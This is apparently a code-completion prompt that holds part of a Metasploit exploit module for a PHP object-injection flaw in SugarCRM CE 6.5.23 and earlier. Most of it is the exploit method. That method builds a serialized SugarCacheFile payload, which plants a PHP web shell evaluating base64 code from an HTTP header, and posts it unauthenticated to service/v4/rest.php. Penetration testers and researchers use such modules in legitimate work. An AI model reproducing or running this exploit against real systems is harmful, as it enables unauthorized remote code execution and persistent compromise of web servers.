You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: sugarcrm_rest_unserialize_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/unix/webapp
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SugarCRM REST Unserialize PHP Code Execution',
      'Description'    => %q{
        This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
        which could be abused to allow unauthenticated users to execute arbitrary PHP code with
        the permissions of the webserver. The
    
  def exploit
    upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'

    payload_serialized =  "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";"
    payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00"
    payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55"
    payload_serialized << ":\"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>\";}}"

    print_status("#{peer} - Exploiting the unserialize() to upload PHP code")

    res = send_request_cgi(
    {
      'uri'    => normalize_uri(target_uri.path, 'service/v4/rest.php'),
      'method' => 'POST',
        'vars_post' => {
          'method'     => 'login',
          'input_type' => 'Serialize',
          'rest_data'  => payload_serialized
        }
    })

    unless res
      print_error('Connection timed out while sending a request to rest.php')
      return
    end